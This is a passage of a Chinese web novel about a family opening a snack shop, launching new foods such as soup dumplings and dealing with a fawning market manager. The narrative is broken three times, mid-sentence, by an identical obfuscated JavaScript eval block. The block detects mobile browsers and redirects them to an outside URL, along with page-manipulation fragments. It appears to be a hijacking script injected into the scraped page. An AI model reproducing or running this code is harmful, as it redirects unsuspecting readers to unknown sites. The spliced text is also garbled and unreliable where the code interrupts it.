饭吃完，一家人围坐在院里，暖洋洋喝了茶，开始讨论明天开张的事。 “幌子挂多高合适？”杜氏问。 “与隔壁差不多就行吧。” 杜氏点点头，来回地踱着步，又开始清点东西：“豆腐，猪排，肉馅……” 万小兰看着那两大盆面糊，问道：“阿姐，菜饼和肉饼都比之前备的多，还有新的小吃呢，明天能卖完吗？” 万老爹在一旁接话：“等明天不就知道了。” 万秋灵手里捧着茶碗，没说话。 说不紧张是假的，这铺面位置算不上好，上一家蒸菜店就是生意不行，一个月还要一两多银子的租金，急着转手，才让她这么快盘下。 酒香也怕巷子深，要是头一天生意不好，她就得用些促销手段了。 …… 许莲这几日一直在找肉馅饼的摊子。 家里的小布庄前阵子进了批新货，她连着忙了七八天，连上街的工夫都没有。 好不容易忙完了，她头一件事就是去集市外围寻卖饼的姐妹俩，结果连着两天都没遇到她们出摊。 今儿个又起了早，转一圈依旧没看到，却瞧见个眼熟的卖竹编的少年。 许莲快步走过去。 “哎，小哥儿！问你个事，往常在这里卖饼的那俩姑娘呢？” 墩子抬头，客客气气笑道：“婶子，她们搬去梅花桥街了，今天铺子开张哩！叫‘万记小食’。” “开张？”许莲愣住了。 39. 万记小食 “开张……”许莲愣了愣，“盘了铺子？在梅花桥街哪块儿？” 墩子详细说了位置，又补了一句：“头三天还有活动，您去瞧瞧，这会儿肯定正热闹！” 他是特意在这几天待集市外围的，凡是来问秋灵姐摊子的人，都让他们去铺面。 许莲按照他的话，沿着梅花桥街往里走。 东南处不如桥下那一片热闹，人流稀落些。她边走边张望，终于看见一个布幌子从墙头伸出来，上面写着两个字： 万记。 幌子底下，铺面开着门。地上散落着些炸过的鞭炮碎屑，红红的一片，看着就喜庆。 后方支着一口炸锅，一个妇人正守在锅前，拿了双长筷正在翻动什么，油锅里滋滋作响，香气飘得老远。 右边是一块方正的铁板锅，那个熟悉的姑娘手里翻着饼子，动作麻利又好看。 左边柜台后站了个小丫头，系着围裙，正收钱递物，嘴里还不停地吆喝着： “来一来看一看啊！万记小食今日开张！凡是消费的客人都能抽签，中红签的人，免费送赤豆饼一个！” 赤豆饼？许莲心下一喜，这是又出新口味了！ 铺面前已经排了五六个人，她站到队尾，一边等一边打量。 铺门边还立着一块木板，上头写着小食的名称和价格。之前的两种饼不变，新增的赤豆饼和浇汁豆腐同为两文，炸春卷三文一份，最贵的是香炸猪排，要六文！ 六文……许莲心里掂量了一下，不便宜。 前头排队的汉子显然也被勾起了好奇心，问那小丫头：“这香炸猪排是个啥？怎的这般贵？” 万小兰笑着解释：“叔，猪排用的是新鲜的里脊肉，货真价实，用我家独有的方法炸制，配上秘制调料，保准您吃了觉得值！” 那汉子听得直咽口水，到他的时候，点了两个肉馅饼，犹豫了一下，还是点了份猪排。 前几位客人都没中签，很快轮到了许莲。 “这位婶子，您来点什么？”万小兰笑眯眯地招呼。 许莲把木牌上那几样扫了一遍，干脆道：“每样都来一份！” 万小兰眼睛亮了起来，麻利地报出总数：“婶子，一共是十七文半！” 许莲掏出钱袋，数了铜板递过去。 万小兰收了钱，从旁边拿起一个圆筒，筒里装着竹签，递到她面前。 “婶子，您今儿消费超过十五文，可以抽两次，您请！” 许莲笑着伸手，抽了第一根，是空的。 万小兰嘴却甜得很：“婶子运气攒着呢，第二根保管中！” 许莲又抽一根，还真是红的！ “您中啦！”万小兰立刻接过来，举着那根红签，嗓门都亮了几分：“这位婶子手气真好，头一个中红签的，恭喜恭喜！免费送赤豆饼一个！” 其他排队的客人听见了，都探头来看，有羡慕的，有起哄的。 许莲虽然不缺这几个钱，但对这套抽签的把戏却很受用。 万小兰又添了几句吉祥话：“婶子一看就是有福气的人，今儿头一天开张，您头一个中了签，祝您日后肯定顺顺当当，好运连连！” 一番话哄得许莲眉开眼笑，心里那叫一个舒坦。 她们这边互动着，杜氏和万秋灵那边手上一刻没停。 杜氏把要炸的猪排、豆腐、春卷数好下入锅，趁着油炸的空当，前头顾客点的豆腐也沥好了，装碟淋上酱汁，插两根竹签，递了出去。 万秋灵新放上一个圆形的模具，做顾客抽中的赤豆饼。倒上面糊，舀上一大勺豆沙馅，再用面糊封顶，等饼子慢慢成型。 手里的筷子翻动着铁板上的其他饼子，或夹起或放下，从不用手直接触碰食物，动作又快又干净，看得人赏心悦目。 忙碌间，她抬眼看了看那个一出手就要了全部小吃的客人，面相和气，很是眼熟，于是朝那妇人笑了笑：“婶子，是您呀！” 许莲正等着拿东西，听见这话，也笑着回道：“姑娘还记得我？” “自然记得，您来买过好几回呢。我姓万，叫我秋灵就行，您贵姓？” “我姓许，喊我许婶就行了。” “许婶。”万秋灵从善如流地改了口，“搬来之前那些天摆摊没见着您，我还跟妹妹念叨呢。” 许莲听了这话，脸上的笑瞬间变成了花。 “可不巧了，我也是念着你们呢！”她凑近了些，站在锅边看她做饼子，“家里前阵子忙，忙完了就去寻你们，结果跑两天都没见到人。今儿运气好，遇到那个和你们一块的小子，才知道你们搬来这边了。” 万秋灵把她的那份饼子打包好，闻言，惊讶地抬头：“竟是跑空了两天？怪对不住的。” 她把油纸包递过去：“许婶要是今儿没中那红签，我也是要给您送一个饼子吃的。” 许莲嘴上说着“那可不成”、“哪能让你送”，脸上却笑得更开了，心里那个美哟。 回到自家布庄时，她手里拎着好几个油纸包，嘴角就没放下去过。 她男人刁掌柜正拨着算盘，见她进来，抬头看了一眼：“这是遇上啥好事了？笑成这样。” 许莲把油纸包往柜台上一放，话匣子就打开了，把买吃食的事情都说了一下。 “我找过去，正好赶上开张，头三天还能抽签呢！你猜怎么着？我中了红签！那赤豆饼是送的。” 她正说着，里头传来噔噔噔的脚步声。 刁小妹跑出来了，眼睛盯着那几个油纸包，急哄哄地要去拆：“娘！是不是那个饼子？我吃一个！” “慢点慢点，又没人跟你抢。”许莲笑着按住她的手，“不止呢，她家现在卖好几种吃的，有赤豆饼，有炸春卷……” 刁小妹哪还听得进去，三下两下拆开一个油纸包，金黄的炸豆腐块配上浓稠的酱汁，上头撒着翠绿的葱花，外形就十足吸引人。 刁小妹指着豆腐，眼睛瞪得圆溜溜的：“娘！这个好看！” 许莲又得意了几分，介绍道：“这个叫浇汁豆腐。” 把几个油纸包全拆开，三人拿着签子齐上阵。 等几样小吃挨个尝完，刁小妹已经抛弃了从前最爱的肉馅饼和鲜虾饼，爱上了赤豆饼，豆沙馅细软绵密，在舌尖上化开，甜丝丝的，却不会腻。 夫妇俩则是被香炸猪排迷住，外皮酥得掉渣，里面的肉却嫩得很，香辣干料裹在上头，越嚼越上头。 另一边，长春堂后院，孙掌柜也被女儿带着品尝万家的新小吃。 大丫得了孙小冬的指挥，早早拎了食盒和碟子去装的，比油纸包着的更脆。 孙掌柜夹了一块炸猪排，细细咀嚼，品出了辣椒、花椒、小茴香、胡椒……还有几样他一时辨不出的味道，调配得恰到好处。 “这猪排，价格虽然贵了点，”他语气笃定，“生意差不了。” …… 开张前，万家人讨论过生意上可能面临的问题，尤其是猪排，万一客人嫌贵怎么办？万秋灵想了好几套宣传的法子，结果全没用上。 生意比他们预想的好得多。 早上就有不少熟客，还有得了墩子的信，三三两两寻过来的人，连石头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448078|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都带着兄弟们来光顾，买完站着就吃，旁边有人问，他嗓门可大：“这家好吃！不骗你，都来尝尝！” 这些熟人在门口一杵，逢人就推荐几句。 梅花桥街本身就是美食扎堆的地方，来来往往的食客多。有人见这边排着队，探头看一眼，闻着香味，就走不动道了。再听旁边的人一夸，脚就不听使唤地往队尾挪。 隔壁是家馄饨铺，铺子不大，勉强摆下三张小桌。 此刻三张桌有两张上头摆着万记的浇汁豆腐，香气一阵阵飘。 另一桌的客人刚点了馄饨坐下来，瞥见那两桌的吃食，那豆腐看着就有味…… 他忍不住开口问：“这是卖的啥？给我也来份！” 开馄饨铺的妇人姓于，街坊都喊她于大娘。她是个有眼色的，一听这话，立马应道：“这是隔壁卖的小吃！客人想试试，我让闺女帮您跑一趟？” 说着朝里头喊了一声：“小蔡！” 一个十三四岁的姑娘走出来，于大娘把话一说，小蔡接过钱，一溜烟跑出门了。 客人图个方便，心里舒坦，又让在馄饨里加个浇头，添个卤蛋。 万记门口的队始终没断过。 小蔡来来回回跑了好几趟，头几回抽签都没中，这回轮到她，又摸了一根签出来，居然中了！ 万小兰知道她是馄饨铺的，替客人来买，亲呢地喊她：“小蔡姐，恭喜你！” 小蔡也高兴，拿着东西回了铺子。那客人听她说中了赤豆饼，大手一挥：“你抽中的，送你吃。” 小蔡推辞不过，想了想，把赤豆饼掰成两半，一半递给她娘，一半自己尝。 刚出锅的赤豆饼，热乎乎的，馅还有点烫嘴，香甜得很。她对跑腿这事更积极了。 刚到申时，万记门口就慢慢安静下来，无他，东西卖完了！ 杜氏正把炸锅里的碎屑残渣一一捞出，油里很快空空如也，万秋灵那边的铁板也铲得一干二净，拿帕子细细擦拭着。 母女俩对视一眼，都有些恍惚。 最先卖完的不是那两样饼子，而是炸猪排，备了二十多块，中午那会儿就没了。 万秋灵回想起来，还有些不可思议。她本以为这六文钱一份的猪排会卖得慢些，毕竟比饼子贵那么多，结果有些食客掏钱掏得眼都不眨。 “不愧是美食街，”她感叹，“舍得花钱买吃食的大一抓一大把，可以安心多备些货了。” 赤豆饼也销得快，有中了签的人尝了，回头又买，一买就是两三个。还好她提前备了些虾米，后面抽中签的，送的就是鲜虾饼。 几人清点完剩下的材料，泥炉子撤了火，将铺子打扫完毕，尤其是鞭炮碎屑，最后才关上门。把木板对齐，里面用门栓抵住，外面上了锁。 门外还挂了块木牌子，写明“今日已打烊”。 回到后院，万秋灵才觉出累来。 定制东西的时候，她特意做了几个高凳子，让她和杜氏能坐着做生意，万小兰也有一个。 可今天生意太忙了，没什么歇息的时候，万秋灵一边要做顾客点的、抽中的饼子，一边还要帮忙算账，哪怕坐着也很疲惫。 她们连晌午饭都没空吃，中途万老爹挪出来送了些糕点，三人塞了几口就接着忙碌。 杜氏在村里种地锻炼出了力气，收工就去做饭。万小兰站了大半天竟也还精神着，跟着去灶屋。 “阿姐，你歇着！我跟娘做饭！” 万秋灵点点头，瘫坐在椅子上闭着眼睛，整个人都有些晕乎乎的。 没一会儿，灶屋就燃起了炊烟。 40. 灌汤包 杜氏做饭快，不多时便端了两道菜上桌。 一道豆芽炒蛋，多放了些酱油，简简单单却最是下饭。一道汤，肉片炖得软烂，撒了一层葱花。 院里支了张小桌，就着这两道菜，一家人匆匆吃过晌午饭，几乎没怎么说话。 万小兰第一个撂下碗，眼巴巴地往铺子里瞅。 万秋灵看在眼里，等所有人都放下碗筷，才招呼道：“吃完了，盘账吧。” 万小兰蹭地站起来，一溜烟跑进了前头。 不一会儿，她抱着一个沉甸甸的钱罐子回来了。罐子是陶的，不算大，罐口收得小，是杜氏专门腾出来放钱的。 万小兰把它往桌上一放，罐子口朝下，轻轻一倒。 铜板倾泻而出，在桌面上码成了一小堆，分成了几个小的部分，杜氏便开始数。 “一十、二十、三十……” 杜氏数得仔细，数完一堆，报了数让万秋灵记着，又去数下一堆。 到最后，杜氏把几堆拢到一起，又总的数了一遍。 “五百八十一文。”她抬起头，脸上带着点不敢相信的神色，“今儿还不到一整天，收了半贯钱。” 万小兰整个人差点蹦起来，一枚枚收的时候还不觉得，合起来竟是这么多钱！ “五百八十一文，快六百文了！” 家里以前开的小馆子，生意好的时候一天能收一贯多。可那不是常态，近一半客人点的是素面、清汤，价格便宜。 而他们新开的小食，第一天开张就能收到接近六百文！ 杜氏还算冷静，提醒道：“也不是纯入账，还有食材那些花销呢，今儿光是送出去的饼子，就有二十来个。” 她虽是一心忙着油炸，也关心着抽签的情况。 万秋灵点点头，心里飞快地算了一笔，刨去各项成本，大致估算下来也有个三百文左右。 “不错了。”她开口，“第一天，备货并不多，能有这个数，算是很成功了。” 万小兰已经膨胀得不行，搓着手问：“阿姐，明天要多准备些货吧？咱们现在就开始？” 除了春卷是早上现烙现包，其他都能提前筹办。 万秋灵摇摇头，冷静道：“一口吃不成大胖子。新货照着今日的量多三成，其他的看看之后的售卖状况再说，稳当些。” 万小兰似懂非懂地点点头。 正事定好，却没急着开工。 万秋灵想起昨晚做的皮冻，走到灶屋角落，掀开盖着的纱布。 一碗晶亮亮的东西露出来，皮冻已经凝固好了，端起来还颤颤巍巍的。 万小兰凑过来看了一眼，猪皮已经捞出，只剩下一碗浑浊的汤，跟大鼻涕似的。她满脸狐疑：“阿姐，这真的能吃吗？” 万秋灵没回答，而是转身去找杜氏。 “娘，这个皮冻切碎了混进肉馅里，我们来做包子。” 杜氏惊讶道：“包子？那得赶紧发面，不然赶不上晚饭了。” “不用发。”万秋灵摆摆手，“面粉加点盐，一半开水一半冷水和面，揉成团就行。包的时候擀成饺子皮那么薄，再包。” 杜氏虽然将信将疑，但还是洗了手开始和面。 刚吃过午饭没多久，灶屋里又开始忙晚饭。 按照万秋灵教的方法，三人合作，包子很快包好，整整齐齐码进蒸屉里。 蒸屉是前几天新买的，够大，一次能蒸二十多个。杜氏把蒸屉架到锅上，盖上盖子，灶膛里添了把火。 一刻钟后，蒸汽从锅盖缝隙里冒出来，杜氏掀开锅盖。 热气腾地散开，露出蒸屉里白生生的包子。 皮薄得几乎透明，能隐约看见里面酱色的肉馅。包子是扁扁的，可拎起来时，能感觉到沉甸甸的往下坠。 万小兰伸手就要抓来吃。 “不行。”万秋灵一把拦住她，“不能这么吃。” 万小兰委屈地缩回手：“为什么呀？” “里面是有汤的，刚出锅直接吃，舌头都能烫出泡来。” 她让杜氏拿了碗，把包子分到碗里，端上桌。 万小兰盯着碗里的包子，眼睛都快贴到上面了。 “阿姐，”她忍不住问，“包子怎么会有汤呢？又不是煮出来的饺子！” 万秋灵笑了：“因为我趁你不注意，往里面灌了汤，所以它的名字叫灌汤包。” “不可能，我全程都看着呢，阿姐哪有功夫灌汤？”万小兰满脸不相信。 她等不及了，用筷子夹起一个包子，对着吹了又吹，等觉得凉了些，才小心翼翼咬了一口。 一股热乎乎的汤汁顿时涌了出来。 “哎哎哎！”万小兰赶紧低头去嘬，可还是有好几滴顺着下巴往下淌。 眼看就要滴到桌子上，还是万秋灵眼疾手快，替她把碗挪到正下方，接住了。 万小兰下巴上挂着汤汁，眼睛却亮得惊人。 “真的有汤，好多的汤呀！”她顾不上擦，赶紧又嘬了一口，“很好喝！是肉汤的味道。” 杜氏无奈地看了小女儿一眼，拿起帕子给她擦了擦。 万小兰又夹起一个，这回小心多了。汤汁和肉馅混在一起，皮薄得几乎没有存在感，满嘴都是鲜香。 她美滋滋吃完，忽然眼睛一亮：“阿姐，这灌汤包太厉害了！能不能卖啊？” 这孩子如今也养成了生意头脑，吃到好吃的，第一反应不是还要继续吃，而是能不能售卖，不再需要饴糖作为诱惑，而是主动想法子赚钱。 “那我每次还要一个个往里面灌汤，”万秋灵故意逗她，“得多累啊。” “那你教给我吧，我来灌！”万小兰拍着胸脯，一脸认真。 连万老爹都忍不住笑了，骂了一句：“真是个傻丫头，你姐逗你呢！” 万小兰眨眨眼，看看爹和娘，又看看姐姐，这才反应过来。 “阿姐！”她噘起嘴，“你怎么骗我！” 万秋灵笑得前仰后合。 万小兰对灌汤包的热情十分高涨，万秋灵被她念叨得头疼，最后只道：“行行行，你一会去肉摊要些猪皮回来，先多做点皮冻再说。” 杜氏收拾好碗筷，其他人开始为明天做准备。调面糊、发面、剁馅……大家各司其职，忙得团团转。 万秋灵忽然想起一件事：“娘，明天墩子该送东西来了吧？” 杜氏正切着豆腐，算了算日子：“还真是，明儿个是第三天了。” 自从搬到镇上，墩子就隔三差五地来一趟，可每次来都不空手。不仅送竹签子，还有万家和自家菜地里种的葱头菜蔬，山上采的瓜果，河里摸的鱼虾，大包小包地往这儿拎。 除了签子钱，别的他死活不收，说都是山间地里白长的东西，最后只能多塞几个饼子让他带走。 万秋灵想了想，搬走的时候，墩子大嫂的肚子已经很大了，估摸着再过不了多久就要生孩子。 她把手里的活放下：“娘，我去趟长春堂，给王家大嫂抓副养气补血的药。” 杜氏笑道：“是这个理，他们家和咱家现在走得近，是该表示心意。” 万老爹正在角落里捶里脊肉，听见“药”字，手里的动作慢了些，耳朵悄悄竖起，幸好女儿没说什么再捎一副。 万秋灵先进了屋换衣服。在裁缝铺定的衣服前两天就送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451963|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过来，杜氏全部洗过一遍，带着皂角香。 她翻出一件新的裙子，抖开看了看。颜色淡淡的，浅紫中透出一点粉色，面料是细棉布，摸上去柔软亲肤，很舒服。 领口和袖子绣了一圈细边，腰部略微收起，裙摆宽宽地垂下来，行走时随风摆动，飘逸但不张扬。 万秋灵换上衣裳，对着屋里那面小小的铜镜照了照。 镜子里的人和平时不太一样。她做生意穿的都是旧衣裳，灰扑扑的，这会儿换了新衣，更显出少女姣好的模样来。眉目清灵，肤色白皙，藕荷色衣裙衬得人十分温柔。 她拢了拢头发，拎着食盒出了门。 看着大女儿的背影，杜氏笑道：“灵儿出落得愈发伶俐了。” 万老爹轻轻哼了声：“那是自然。” …… 长春堂的伙计们都眼熟万秋灵，笑着招呼她：“万姑娘来了！” 孙掌柜从柜台后探出头：“秋灵，快进来坐！小兰没一块来？” 万秋灵走过去，说明来意，孙掌柜点点头：“快要临盆的孕妇？行，我让伙计去配药，你先去后院坐坐吧。” 大丫也跑了出来，笑嘻嘻地领着万秋灵走。 孙小冬正在廊下拨弄草药，听见脚步声抬起头，看见万秋灵，眼睛顿时亮了。 “秋灵！” 她站起身迎接，围着万秋灵转了一圈，由衷夸赞：“这衣裳真衬你！平时看你总穿暗沉的衣裳，看习惯了，没想到稍微打扮下就这么惹眼！” 万秋灵被她夸得有些不好意思：“是新做的衣服，干活穿这个容易脏，闲时才穿。” 孙小冬拉着她坐下，又问：“今儿不是才开张，怎么有空来？铺子里不忙？” 万秋灵把食盒放到小几上，打开盖子。 “忙完了，给你捎了点吃的。” 孙小冬一瞧，食盒里整整齐齐码着四个扁扁的包子，皮薄得透亮。 “这是什么？”她好奇地问，“没见大丫买回来呀。” 大丫在旁赶紧道：“小姐，奴婢可是按您的吩咐，每样小吃都点了的。” “还没开始卖呢。”万秋灵笑着把食盒往她那边推了推，“方才头一回做，想着先带给你尝尝。还没吃晚饭吧？” 孙小冬听了很是高兴：“还没呢，大丫，去拿碗筷。” 大丫很快端了碗筷过来，还贴心地配了碟醋。孙小冬夹起一个灌汤包，先蘸了些醋，轻轻咬了口，冒出来的汤汁却比醋还多，吓得大丫赶紧拿手绢替她擦了嘴。 万秋灵提醒道：“慢点，可能还有些烫。” 孙小冬哪里慢得下来，三两口就把包子解决了，一连吃了两个，才舍得放下筷子。 “这包子要是拿出来卖，我每天都让大丫去排队！”她一脸认真地说。 万秋灵正要接话，孙小冬突然往她旁边凑了凑，压低声音道：“对了秋灵，码头的那个钱管事，我最近倒听到些他的消息。” 万秋灵心里一动，面上却不动声色，只是做出洗耳恭听的样子。 “这几天镇上好多客商和商户去寻他，都是为了在码头丢的东西。听说有些货根本不是路上丢的，是他手下人监守自盗！” “钱管事这些天忙得焦头烂额，一会儿要应付那些商户，一会儿要跟他上面的头儿解释，听说被骂得不轻。” 孙小冬说完，又认真道：“你上次打听他，想必是遇到的事和他有关吧？现在他可没工夫为难你了。” “果然瞒不过你……”万秋灵笑了笑，才接着道，“嗯，他确实找不了我的麻烦了。” 她在心里默默补充：是我给他找了麻烦，够他喝一壶的。 41. 雨天来客 之后两天，万记的生意逐步平稳。备货一点点增加，午间还留了歇业吃饭的时间，下午却依旧能提前卖完。 到了开业第四天，抽签送饼的福利结束，万记又推出了新的小食——灌汤包。 三文钱一个，这包子比肉馅饼小一圈，比其他铺子的肉包子扁得多，瞧着不起眼，却因为独特的带汤亮点和鲜香的味道征服了食客的心。 头一屉刚出锅，原本只是随便一试的客人，吃过就夸个不停。食客的好评扩散出去，来万记的人更多了。 梅花桥街上那几家卖包子的铺面和摊位，前几天还抱着看戏的心态，琢磨着这新来的卖小吃能折腾几日，这天也开始紧张起来，咋忽然开始卖包子？ 有个包子铺老板听到风声，悄悄派出伙计，趁万记的灌汤包还没售空，抢到了最后一屉的其中一个。 伙计拿着用油纸包好的灌汤包，神秘兮兮回到店里。 老板对着那只包子端详了半晌，和平常卖的包子毫不沾边，皮很薄，一点不鼓囊，晃动一下能看到有汤汁在里面流动。 他愣住了，这汤是怎么进去的？把外皮掰开，里里外外瞧个遍，尝了尝，最后说不出话了。 这让人怎么研究？ …… 于大娘注意到，申时还未过，隔壁的万记便打了烊，铺门都关好了。 她心里着实有些羡慕，自家馄饨铺开了也有些年头，生意说不上差，但几乎没怎么排过队，忙起来顶多拼一拼桌。 今儿隔壁的队伍，排得竟然比前几天送饼子时还长，真是奇了！ 于大娘收回目光，转身招待客人。 正忙着，门口传来亮堂堂的喊声：“于大娘！” 她扭头一瞧，笑着打招呼：“欸，是小兰呀。” 万小兰拎着食盒，先递了铜板过来，笑眯眯道：“于大娘，家里人一直想尝尝您家的馄饨呢，派我过来买，要四碗，碗也带好了！” 于大娘连声应着，手上快速抓了四份馄饨下锅，都不需要数，正正四十个。又朝里头喊：“小蔡！出来帮忙！” 等馄饨煮熟的功夫，万小兰一点儿没闲着，自来熟地跟于大娘唠起嗑，从天气的变化聊到街上的新奇玩意儿。 小蔡出来也陪她说着话，两人年岁差得不大，还挺投缘的。 店里有个客人认出万小兰，调侃她：“这不是万记的小丫头吗？怎么，来偷师？” 万小兰一点儿不怵，笑着回：“叔，我这叫光明正大地学！不过于大娘这么好的手艺，我可学不会哩！” 她嘴巴甜，遇到谁都能聊上几句。 很快四碗馄饨煮好了，连汤带水，单手还不太好拎。小蔡去拿了自家的盒子出来，分过去两碗，帮万小兰送到万记的后院。 万秋灵打开后门，看见小蔡跟着，忙喊她进来坐。 小蔡知道她们马上吃饭，不便打搅，赶紧道：“不坐了不坐了，秋灵姐，我还得回铺子帮忙。” 万秋灵也不强留，转身去屋里拿些果子塞到她盒子里，“都是乡里的野果，带回去尝尝。” 小蔡推辞不过，笑着接了。 于家的馄饨皮很薄，个头合适，汤清亮亮的，撒了葱花，喝起来很爽口。 舒舒坦坦吃完，万小兰就去抱了两个罐子来。 如今以午间暂歇业为界限，钱罐子是分开的，上半天一个，下半天一个，万秋灵说这样能区分客流变化，方便以后安排。 数钱自然也分开。上午的罐子明显更重，杜氏一枚一枚地数，嘴里念念有词。 “……六百零六文。”杜氏惊讶地抬起头，管好上午就比第一天整天还多了？ 她又盯着万秋灵数下午那罐。 “三百九十七……四百……四百零三。” 杜氏长舒一口气，打心底里高兴，笑道：“上下午合计起来超过一贯钱了！我本来还担心着，不送饼子生意会变差呢。” 进账一两银子！万小兰眼睛瞪得老大。万老爹看着一桌子的铜板，脸上也露出笑来，在账本上仔细记下。 万秋灵道：“娘，今天灌汤包都卖了三屉呢。早上两屉很快卖光，中午现包的，下午又卖了一屉。算下来，少说也有六十个了。” 杜氏点点头：“应当是有好心的食客帮着宣传了，午后来问灌汤包的人可多，我把留给明天的皮冻都提前挪了些用。” “不碍事。今晚再熬，放一晚，早上就能用。” 杜氏找了袋子，将铜钱收起来，妥善放好。 万秋灵又道：“生意好了，大部分进货得提前，趁天色还不晚，咱们现在就出去找铺子订货，等明儿送来爹在院里收。” 万老爹应道：“成。” 太阳还没落山，母女三人又匆匆出了门，每一天都过得特别充实。 …… 这天忽地下起了雨。 上午还只是天色阴沉，转眼间就开始落雨点子。梅花桥街上的摊贩们手忙脚乱地收着东西，纷纷往屋檐下躲，一时没有停歇的架势，不少摊主顶着雨回了家。 万记有门檐挡着，倒是不怕雨淋，但客人也少了大半，偶尔有人撑着伞来，买了东西便离开。 杜氏站在门口往外看了看，叹口气：“雨怕是还得落一阵子。” 万小兰坐在凳子上无聊地摆着腿，盯着行色匆匆的各类人，对杜氏道：“娘，幸好我们开的是铺子，不然这会儿肯定淋着了。” “这倒是。” 雨幕宛如一道屏障，将屋里屋外分隔成不同的区域，一边慌乱，一边宁静。杜氏听着雨声，渐渐也放松了些。 雨来得突然，东西又备得多，当日肯定卖不完。 大部分食材是生的，完全可以放到明天，像饼子和灌汤包这种现做的，材料也不会浪费。 唯一不便的是已经包好的春卷，馅料提前炒过，放久了容易变味。 中午索性炸了不少春卷吃，万秋灵还让万小兰给于大娘她们也送了一盘过去。 于大娘没过多久就回了礼，让小蔡端来一碗卤干子，还有几个卤蛋。 两家人午饭都吃得颇为丰盛。 吃饭时雨势小了些，街上还是冷清，一个不速之客忽然登了门。 是许久未见的胡管事。 杜氏本以为是来买小吃的客人，待他亮明身份，脸色顿时沉了下来。 她可不会忘记，当初女儿为了租个摊位，天不亮就去排队，结果受人一通挤兑，摊位也被这人划给了钱管事。 万老爹把手里的筷子放下，悄摸按揉了一下腿。若是这人敢再欺负女儿们，他可不会顾及什么场面。 不同于家人的紧张，万秋灵心里反而觉出踏实来。开店这么些天，日子虽然顺坦，但她总感觉还会有什么事。 胡管事一出现，这不就对味了？ 当初看中的两个摊位被抢，后面她也打听过，一家卖的是干货，一家卖酱菜，其实摊主和码头管事也没啥关联，或许是抢到后就转给了其他人。那两个摊子租给谁都可以，唯独没让她租。 但如今她已经不需要再求人，不知道这胡管事有什么新招？ “万姑娘。”胡管事冲她拱拱手，“冒昧来访，冒昧来访啊。” “今儿来，是想跟姑娘说个消息。”他清了清嗓子，脸上露出几分无奈，“之前租摊位的事儿，姑娘想必还记得，实在是那个钱管事霸道得很……” 他当初给了钱管事面子，哪里能想到钱管事如今泥菩萨过江——自身难保！而这个丫头转头直接盘下铺面，虽说位置偏了点，生意却蒸蒸日上，连他这个管摊位的都听说了。 胡管事自认为看人的眼光高，却对这两个村里来的丫头看走了眼，又记起之前万秋灵身边有个非凡的男子，后知后觉把人得罪得太狠了。 大家都在一条街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455104|197954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当初钱管事刁难万家丫头，那么多人都瞧见了的，此一时彼一时，万一有不长眼的人提起，传出去他脸上没光啊！ 思来想去，胡管事自以为是地登了门。 “有个摊位急着转租，位置极好。我头一个就想到了姑娘，特意来问问，有没有兴趣？” 他往前凑了凑，脸上带着几分“我为你着想”的真诚。 万小兰安静地听着，开店待客让她得到了锻炼，因此表情控制得还算妥当，只在心里骂。 这人也太不要脸了！看谁顺风就巴结谁…… 万秋灵就不如妹妹那么“稳重”了，直接笑出了声，语气里有些无奈：“胡管事，你看我们如今，还缺摊位吗？” 胡管事的表情一僵。 万秋灵往旁边让了让，露出身后一排整整齐齐的凳子，是为了方便雨天客人等候，特意多备的。 “倒是还缺个凳子。”她懒洋洋道，“就不留胡管事多坐了。” 胡管事的笑容险些挂不住，没想到万秋灵这么不给面子。 他干咳一声，又补充道：“这次空出的摊位，确实是好的，很抢手，比姑娘当初看的位置都好。在桥头的南十五号，挨着梅花桥……” 万秋灵的神色忽然严肃了起来。 “南十五号？似乎是一家卖甜汤的摊子？” 胡管事以为她动了心，赶紧趁热打铁：“姑娘记性可真好！那卖甜汤的老婆子租了得有大半年了，最近出了事，才急着转手呢。” 万秋灵没接这个话茬，只是问：“出了什么事？” 胡管事愣了愣：“这我就不知道了，只听说是家里出了变故，要回老家去。” 万秋灵沉默了一会儿。 她想起那个总是笑呵呵的老婆婆和性格爽朗的孙女。她第一次来梅花桥街打听管事的时候，就是问的老婆婆，之后想租铺面，需要寻个牙人，又问过那婆婆的孙女，她们都友善地提供了帮助。 “胡管事。”她开口，语气比方才委婉了些，“这个位置确实很好，你有心了，但我们暂时没有租摊位的打算。” 胡管事听出她话里的意思，不追究以前的事，也不接受现在的人情。 他松了口气，知道今天这趟目的达成了，也不多留，便告辞了。 万小兰看着胡管事的背影消失在雨里，忍不住问：“阿姐，是我们买过枇杷蜜汤的摊子？” 万秋灵点点头。 “那摊主姐姐人挺好的。”万小兰也还记得那个年轻的姑娘，“她家会是出了什么事呢……” 